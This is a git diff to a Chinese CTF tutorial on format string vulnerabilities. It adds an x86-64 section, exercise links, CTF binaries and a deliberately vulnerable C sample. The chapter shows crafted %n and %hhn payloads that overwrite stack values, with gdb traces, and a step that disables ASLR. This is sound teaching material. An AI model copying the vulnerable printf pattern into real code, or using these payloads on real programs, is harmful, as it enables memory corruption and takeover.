diff --git a/doc/3.3.1_format_string.md b/doc/3.3.1_format_string.md index 10c0d9c..79939db 100644 --- a/doc/3.3.1_format_string.md +++ b/doc/3.3.1_format_string.md @@ -292,6 +292,7 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") 使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 `printf()` 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 `printf()` 调用时出现的顺序是一致的。 +下面的演示我们都使用下面的[源码](../src/Others/3.3.1_fmt_2.c): ```c #include void main() { @@ -303,7 +304,8 @@ void main() { printf("\n"); } ``` -``` +```text +# echo 0 > /proc/sys/kernel/randomize_va_space $ gcc -m32 -fno-stack-protector -no-pie fmt.c ``` @@ -730,13 +732,13 @@ Continuing. void main() { int i; char str[] = "hello"; - + printf("%s %n\n", str, &i); printf("%d\n", i); } ``` ``` -$ ./a.out +$ ./a.out hello 6 ``` @@ -747,7 +749,7 @@ hello #include void main() { int i; - + printf("%10u%n\n", 1, &i); printf("%d\n", i); printf("%.50u%n\n", 1, &i); @@ -757,7 +759,7 @@ void main() { } ``` ``` -$ ./a.out +$ ./a.out 1 10 00000000000000000000000000000000000000000000000001 @@ -777,20 +779,20 @@ $ ./a.out 还是我们一开始的程序,我们尝试将 `arg2` 的值更改为任意值(比如 `0x00000020`,十进制 32),在 gdb 中可以看到得到 `arg2` 的地址 `0xffffd538`,那么我们构造格式字符串 `\x38\xd5\xff\xff%08x%08x%012d%13$n`,其中 `\x38\xd5\xff\xff` 表示 `arg2` 的地址,占 4 字节,`%08x%08x` 表示两个 8 字符宽的十六进制数,占 16 字节,`%012d` 占 12 字节,三个部分加起来就占了 4+16+12=32 字节,即把 `arg2` 赋值为 `0x00000020`。格式字符串最后一部分 `%13$n` 也是最重要的一部分,和上面的内容一样,表示格式字符串的第 13 个参数,即写入 `0xffffd538` 的地方(`0xffffd564`),`printf()` 就是通过这个地址找到被覆盖的内容的: ``` -$ python2 -c 'print("\x38\xd5\xff\xff%08x%08x%012d%13$n")' > text -$ gdb -q a.out +$ python2 -c 'print("\x38\xd5\xff\xff%08x%08x%012d%13$n")' > text +$ gdb -q a.out Reading symbols from a.out...(no debugging symbols found)...done. gdb-peda$ b printf Breakpoint 1 at 0x8048350 gdb-peda$ r < text [----------------------------------registers-----------------------------------] -EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888 -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x1 -EDX: 0xf7f9883c --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd5f8 --> 0x0 +EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 ESP: 0xffffd52c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -806,12 +808,12 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) No argument [------------------------------------stack-------------------------------------] 0000| 0xffffd52c --> 0x8048520 (: add esp,0x20) -0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 -0008| 0xffffd534 --> 0x1 -0012| 0xffffd538 --> 0x88888888 -0016| 0xffffd53c --> 0xffffffff +0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 +0008| 0xffffd534 --> 0x1 +0012| 0xffffd538 --> 0x88888888 +0016| 0xffffd53c --> 0xffffffff 0020| 0xffffd540 --> 0xffffd55a ("ABCD") -0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 +0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8') [------------------------------------------------------------------------------] Legend: code, data, rodata, value @@ -827,12 +829,12 @@ gdb-peda$ finish Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 [----------------------------------registers-----------------------------------] EAX: 0x20 (' ') -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x0 -EDX: 0xf7f98830 --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd5f8 --> 0x0 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x0 +EDX: 0xf7f98830 --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ') EIP: 0x8048520 (: add esp,0x20) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) @@ -847,9 +849,9 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 0x804852d : add esp,0x10 [------------------------------------stack-------------------------------------] 0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ') -0004| 0xffffd534 --> 0x1 +0004| 0xffffd534 --> 0x1 0008| 0xffffd538 --> 0x20 (' ') -0012| 0xffffd53c --> 0xffffffff +0012| 0xffffd53c --> 0xffffffff 0016| 0xffffd540 --> 0xffffd55a ("ABCD") 0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ') 0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8') @@ -869,20 +871,20 @@ gdb-peda$ x/20x $esp #### 覆盖任意地址内存 也许已经有人发现了一个问题,使用上面覆盖内存的方法,值最小只能是 4,因为单单地址就占去了 4 个字节。那么我们怎样覆盖比 4 小的值呢。利用整数溢出是一个方法,但是在实践中这样做基本都不会成功。再想一下,前面的输入中,地址都位于格式字符串之前,这样做真的有必要吗,能否将地址放在中间。我们来试一下,使用格式字符串 `"AA%15$nA"+"\x38\xd5\xff\xff"`,开头的 `AA` 占两个字节,即将地址赋值为 `2`,中间是 `%15$n` 占 5 个字节,这里不是 `%13$n`,因为地址被我们放在了后面,在格式字符串的第 15 个参数,后面跟上一个 `A` 占用一个字节。于是前半部分总共占用了 2+5+1=8 个字节,刚好是两个参数的宽度,这里的 8 字节对齐十分重要。最后再输入我们要覆盖的地址 `\x38\xd5\xff\xff`,详细输出如下: ``` -$ python2 -c 'print("AA%15$nA"+"\x38\xd5\xff\xff")' > text -$ gdb -q a.out +$ python2 -c 'print("AA%15$nA"+"\x38\xd5\xff\xff")' > text +$ gdb -q a.out Reading symbols from a.out...(no debugging symbols found)...done. gdb-peda$ b printf Breakpoint 1 at 0x8048350 gdb-peda$ r < text [----------------------------------registers-----------------------------------] EAX: 0xffffd564 ("AA%15$nA8\325\377\377") -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x1 -EDX: 0xf7f9883c --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd5f8 --> 0x0 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 ESP: 0xffffd52c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -899,9 +901,9 @@ No argument [------------------------------------stack-------------------------------------] 0000| 0xffffd52c --> 0x8048520 (: add esp,0x20) 0004| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377") -0008| 0xffffd534 --> 0x1 -0012| 0xffffd538 --> 0x88888888 -0016| 0xffffd53c --> 0xffffffff +0008| 0xffffd534 --> 0x1 +0012| 0xffffd538 --> 0x88888888 +0016| 0xffffd53c --> 0xffffffff 0020| 0xffffd540 --> 0xffffd55a ("ABCD") 0024| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377") 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8') @@ -918,13 +920,13 @@ gdb-peda$ x/20x $esp gdb-peda$ finish Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 [----------------------------------registers-----------------------------------] -EAX: 0x7 -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x0 -EDX: 0xf7f98830 --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd5f8 --> 0x0 +EAX: 0x7 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x0 +EDX: 0xf7f98830 --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 ESP: 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377") EIP: 0x8048520 (: add esp,0x20) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) @@ -939,9 +941,9 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 0x804852d : add esp,0x10 [------------------------------------stack-------------------------------------] 0000| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377") -0004| 0xffffd534 --> 0x1 -0008| 0xffffd538 --> 0x2 -0012| 0xffffd53c --> 0xffffffff +0004| 0xffffd534 --> 0x1 +0008| 0xffffd538 --> 0x2 +0012| 0xffffd53c --> 0xffffffff 0016| 0xffffd540 --> 0xffffd55a ("ABCD") 0020| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377") 0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8') @@ -990,12 +992,12 @@ gdb-peda$ r AAAABBBBCCCCDDDD [----------------------------------registers-----------------------------------] EAX: 0xffffd564 ("AAAABBBBCCCCDDDD") -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x1 -EDX: 0xf7f9883c --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd5f8 --> 0x0 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 ESP: 0xffffd52c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -1012,9 +1014,9 @@ No argument [------------------------------------stack-------------------------------------] 0000| 0xffffd52c --> 0x8048520 (: add esp,0x20) 0004| 0xffffd530 --> 0xffffd564 ("AAAABBBBCCCCDDDD") -0008| 0xffffd534 --> 0x1 -0012| 0xffffd538 --> 0x88888888 -0016| 0xffffd53c --> 0xffffffff +0008| 0xffffd534 --> 0x1 +0012| 0xffffd538 --> 0x88888888 +0016| 0xffffd53c --> 0xffffffff 0020| 0xffffd540 --> 0xffffd55a ("ABCD") 0024| 0xffffd544 --> 0xffffd564 ("AAAABBBBCCCCDDDD") 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8') @@ -1044,20 +1046,20 @@ $ python2 -c 'print("\x38\xd5\xff\xff"+"\x39\xd5\xff\xff"+"\x3a\xd5\xff\xff"+"\x ``` 其中前四个部分是 4 个写入地址,占 4*4=16 字节,后面四个部分分别用于写入十六进制数,由于使用了 `hh`,所以只会保留一个字节 `0x78`(16+104=120 -> 0x56)、`0x56`(120+222=342 -> 0x0156 -> 56)、`0x34`(342+222=564 -> 0x0234 -> 0x34)、`0x12`(564+222=786 -> 0x312 -> 0x12)。执行结果如下: ``` -$ gdb -q a.out +$ gdb -q a.out Reading symbols from a.out...(no debugging symbols found)...done. gdb-peda$ b printf Breakpoint 1 at 0x8048350 gdb-peda$ r < text Starting program: /home/firmy/Desktop/RE4B/a.out < text [----------------------------------registers-----------------------------------] -EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888 -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x1 -EDX: 0xf7f9883c --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd5f8 --> 0x0 +EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 ESP: 0xffffd52c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -1073,12 +1075,12 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) No argument [------------------------------------stack-------------------------------------] 0000| 0xffffd52c --> 0x8048520 (: add esp,0x20) -0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 -0008| 0xffffd534 --> 0x1 -0012| 0xffffd538 --> 0x88888888 -0016| 0xffffd53c --> 0xffffffff +0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 +0008| 0xffffd534 --> 0x1 +0012| 0xffffd538 --> 0x88888888 +0016| 0xffffd53c --> 0xffffffff 0020| 0xffffd540 --> 0xffffd55a ("ABCD") -0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 +0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8') [------------------------------------------------------------------------------] Legend: code, data, rodata, value @@ -1093,14 +1095,14 @@ gdb-peda$ x/20x $esp gdb-peda$ finish Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 [----------------------------------registers-----------------------------------] -EAX: 0x312 -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x0 -EDX: 0xf7f98830 --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd5f8 --> 0x0 -ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 +EAX: 0x312 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x0 +EDX: 0xf7f98830 --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 +ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 EIP: 0x8048520 (: add esp,0x20) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] @@ -1113,12 +1115,12 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 0x8048528 : call 0x8048370 0x804852d : add esp,0x10 [------------------------------------stack-------------------------------------] -0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 -0004| 0xffffd534 --> 0x1 -0008| 0xffffd538 --> 0x12345678 -0012| 0xffffd53c --> 0xffffffff +0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 +0004| 0xffffd534 --> 0x1 +0008| 0xffffd538 --> 0x12345678 +0012| 0xffffd53c --> 0xffffffff 0016| 0xffffd540 --> 0xffffd55a ("ABCD") -0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 +0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8') 0028| 0xffffd54c --> 0x80484b0 (: add ebx,0x1b50) [------------------------------------------------------------------------------] @@ -1132,8 +1134,78 @@ gdb-peda$ x/20x $esp 0xffffd570: 0xffffd53b 0x34303125 0x33312563 0x6e686824 ``` +最后还得强调两点: +- 首先是需要关闭整个系统的 ASLR 保护,这可以保证栈在 gdb 环境中和直接运行中都保持不变,但这两个栈地址不一定相同 +- 其次因为在 gdb 调试环境中的栈地址和直接运行程序是不一样的,所以我们需要结合格式化字符串漏洞读取内存,先泄露一个地址出来,然后根据泄露出来的地址计算实际地址 + ## x86-64 中的格式化字符串漏洞 +在 x64 体系中,多数调用惯例都是通过寄存器传递参数。在 Linux 上,前六个参数通过 `RDI`、`RSI`、`RDX`、`RCX`、`R8` 和 `R9` 传递;而在 Windows 中,前四个参数通过 `RCX`、`RDX`、`R8` 和 `R9` 来传递。 + +还是上面的程序,但是这次我们把它编译成 64 位: +``` +gcc -fno-stack-protector -no-pie fmt.c +``` +使用 `AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.` 作为输入: +``` +gdb-peda$ n +[----------------------------------registers-----------------------------------] +RAX: 0x0 +RBX: 0x0 +RCX: 0xffffffff +RDX: 0x88888888 +RSI: 0x1 +RDI: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.") +RBP: 0x7fffffffe460 --> 0x400660 (<__libc_csu_init>: push r15) +RSP: 0x7fffffffe3c0 --> 0x4241000000000000 ('') +RIP: 0x400648 (: call 0x4004e0 ) +R8 : 0x7fffffffe3c6 --> 0x44434241 ('ABCD') +R9 : 0xa ('\n') +R10: 0x7ffff7dd4380 --> 0x7ffff7dd0640 --> 0x7ffff7b9ed3a --> 0x636d656d5f5f0043 ('C') +R11: 0x246 +R12: 0x400500 (<_start>: xor ebp,ebp) +R13: 0x7fffffffe540 --> 0x1 +R14: 0x0 +R15: 0x0 +EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x40063d : mov r8,rdi + 0x400640 : mov rdi,rax + 0x400643 : mov eax,0x0 +=> 0x400648 : call 0x4004e0 + 0x40064d : mov edi,0xa + 0x400652 : call 0x4004d0 + 0x400657 : nop + 0x400658 : leave +Guessed arguments: +arg[0]: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.") +arg[1]: 0x1 +arg[2]: 0x88888888 +arg[3]: 0xffffffff +arg[4]: 0x7fffffffe3c6 --> 0x44434241 ('ABCD') +[------------------------------------stack-------------------------------------] +0000| 0x7fffffffe3c0 --> 0x4241000000000000 ('') +0008| 0x7fffffffe3c8 --> 0x4443 ('CD') +0016| 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.") +0024| 0x7fffffffe3d8 ("%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.") +0032| 0x7fffffffe3e0 (".%p.%p.%p.%p.%p.%p.%p.") +0040| 0x7fffffffe3e8 ("p.%p.%p.%p.%p.") +0048| 0x7fffffffe3f0 --> 0x2e70252e7025 ('%p.%p.') +0056| 0x7fffffffe3f8 --> 0x1 +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x0000000000400648 in main () +gdb-peda$ x/10g $rsp +0x7fffffffe3c0: 0x4241000000000000 0x0000000000004443 +0x7fffffffe3d0: 0x4141414141414141 0x70252e70252e7025 +0x7fffffffe3e0: 0x252e70252e70252e 0x2e70252e70252e70 +0x7fffffffe3f0: 0x00002e70252e7025 0x0000000000000001 +0x7fffffffe400: 0x0000000000f0b5ff 0x00000000000000c2 +gdb-peda$ c +Continuing. +AAAAAAAA0x1.0x88888888.0xffffffff.0x7fffffffe3c6.0xa.0x4241000000000000.0x4443.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e. +``` +可以看到我们最后的输出中,前五个数字分别来自寄存器 `RSI`、`RDX`、`RCX`、`R8` 和 `R9`,后面的数字才取自栈,`0x4141414141414141` 在 `%8$p` 的位置。这里还有个地方要注意,我们前面说的 Linux 有 6 个寄存器用于传递参数,可是这里只输出了 5 个,原因是有一个寄存器 `RDI` 被用于传递格式字符串,可以从 gdb 中看到,`arg[0]` 就是由 `RDI` 传递的格式字符串。(现在你可以再回到 x86 的相关内容,可以看到在 x86 中格式字符串通过栈传递的,但是同样的也不会被打印出来)其他的操作和 x86 没有什么大的区别,只是这时我们就不能修改 `arg2` 的值了,因为它被存入了寄存器中。 ## CTF 中的格式化字符串漏洞 @@ -1322,6 +1394,10 @@ hacked! 这样我们就获得了 shell,可以看到输出的信息和我们手工得到的信息完全相同。 - -# 扩展阅读 +## 扩展阅读 [Exploiting Sudo format string vunerability CVE-2012-0809](http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html) + + +## 练习 +- [**pwn** - UIUCTF 2017 - goodluck - 200](../src/Pwn/3.3.1_goodluck_200) +- [**Pwn** - NJCTF 2017 - pingme - 200](../src/Pwn/3.3.1_pingme_200) diff --git a/doc/5.2_pin.md b/doc/5.2_pin.md index ce05731..d63ad4f 100644 --- a/doc/5.2_pin.md +++ b/doc/5.2_pin.md @@ -419,10 +419,10 @@ Count 152786 - [pintool2](https://github.com/sebastiendamaye/pintool2) #### 练习 -- [Baleful - picoCTF 2014](../src/Reverse/5.2_baleful) -- [Reverse 400 - Hack You 2014](../src/Reverse/5.2_reverse_400) -- [wyvern 500 - CSAW CTF 2015](../src/Reverse/5.2_wyvern_500) -- [rev100 - th3jackers CTF 2015](../src/Reverse/5.2_th3jackers_100) +- [**RE** - picoCTF 2014 - Baleful](../src/Reverse/5.2_baleful) +- [**RE** - Hack You 2014 - reverse - 400](../src/Reverse/5.2_reverse_400) +- [**RE** - CSAW CTF 2015 - wyvern - 500](../src/Reverse/5.2_wyvern_500) +- [**RE** - th3jackers CTF 2015 - rev100 - 100](../src/Reverse/5.2_th3jackers_100) ## 扩展:Triton diff --git a/doc/6.4_writeup.md b/doc/6.4_writeup.md index 12f0650..b5cc61d 100644 --- a/doc/6.4_writeup.md +++ b/doc/6.4_writeup.md @@ -30,6 +30,10 @@ - [3.1 Reverse]() - [3.2 Crypto]() - [3.3 Pwn]() + - [3.3.1 格式化字符串漏洞](#331-格式化字符串漏洞) + - [3.3.2 整数溢出]() + - [3.3.3 栈溢出]() + - [3.3.4 堆溢出]() - [3.4 Web]() - [3.5 Misc]() - [3.6 Mobile]() @@ -37,44 +41,53 @@ - [4.1 AWD模式]() - [4.2 Linux 命令行技巧]() - [4.3 GCC 堆栈保护技术]() + - [4.4 使用 DynELF 泄露函数地址]() - [五、高级篇]() - [5.1 Fuzz 测试]() - [5.2 Pin 动态二进制插桩](#52-Pin-动态二进制插桩) - [5.3 angr 二进制自动化分析]() - [5.4 反调试技术]() + - [5.5 符号执行]() + - [5.6 LLVM]() - [六、附录]() - [6.1 更多 Linux 工具](#61-更多-linux-工具) - [6.2 更多 Windows 工具]() +## 3.3.1 格式化字符串漏洞 +#### **pwn** - UIUCTF 2017 - goodluck - 200 + +#### **Pwn** - NJCTF 2017 - pingme - 200 + + ## 5.2 Pin 动态二进制插桩 -#### Baleful - picoCTF 2014 +#### **RE** - picoCTF 2014 - Baleful -#### Reverse 400 - Hack You 2014 +#### **RE** - Hack You 2014 - reverse - 400 -#### wyvern 500 - CSAW CTF 2015 +#### **RE** - CSAW CTF 2015 - wyvern - 500 -#### rev100 - th3jackers CTF 2015 +#### **RE** - th3jackers CTF 2015 - rev100 - 100 ## 6.1 更多 Linux 工具 #### Strings - strings_crackme ```text -[firmy@Reverse]$ strings -e L strings_crackme +$ strings -e L strings_crackme w0wgreat ``` -#### Strings - flag_pwnablekr +#### **Pwn** - Strings - flag_pwnablekr ```text -[firmy@Reverse]$ ./flag_pwnablekr +$ ./flag_pwnablekr I will malloc() and strcpy the flag there. take it. -[firmy@Reverse]$ strings flag_pwnablekr | grep UPX +$ strings flag_pwnablekr | grep UPX UPX! $Info: This file is packed with the UPX executable packer http://upx.sf.net $ $Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $ UPX! UPX! -[firmy@Reverse]$ upx -d flag_pwnablekr +$ upx -d flag_pwnablekr Ultimate Packer for eXecutables Copyright (C) 1996 - 2017 UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017 @@ -82,19 +95,19 @@ UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017 -------------------- ------ ----------- ----------- 883745 <- 335288 37.94% linux/amd64 flag_pwnablekr Unpacked 1 file. -[firmy@Reverse]$ strings flag_pwnablekr | grep -i upx +$ strings flag_pwnablekr | grep -i upx UPX...? sounds like a delivery service :) ``` #### xxd - xxd_crackme ```text -[firmy@Reverse]$ xxd -g1 xxd_crackme +$ xxd -g1 xxd_crackme ...... 00001020: 00 00 00 00 67 30 30 64 4a 30 42 21 00 00 00 00 ....g00dJ0B!.... ...... ``` ```text -[firmy@Reverse]$ strings -d xxd_crackme +$ strings -d xxd_crackme ...... g00dJ0B! ...... diff --git a/src/Others/3.3.1_fmt_2.c b/src/Others/3.3.1_fmt_2.c new file mode 100644 index 0000000..7a43bfb --- /dev/null +++ b/src/Others/3.3.1_fmt_2.c @@ -0,0 +1,9 @@ +#include +void main() { + char format[128]; + int arg1 = 1, arg2 = 0x88888888, arg3 = -1; + char arg4[10] = "ABCD"; + scanf("%s", format); + printf(format, arg1, arg2, arg3, arg4); + printf("\n"); +} diff --git a/src/Pwn/3.3.1_goodlock_200 b/src/Pwn/3.3.1_goodlock_200 new file mode 100755 index 0000000..23b5d33 Binary files /dev/null and b/src/Pwn/3.3.1_goodlock_200 differ diff --git a/src/Pwn/3.3.1_pingme_200 b/src/Pwn/3.3.1_pingme_200 new file mode 100755 index 0000000..dce3814 Binary files /dev/null and b/src/Pwn/3.3.1_pingme_200 differ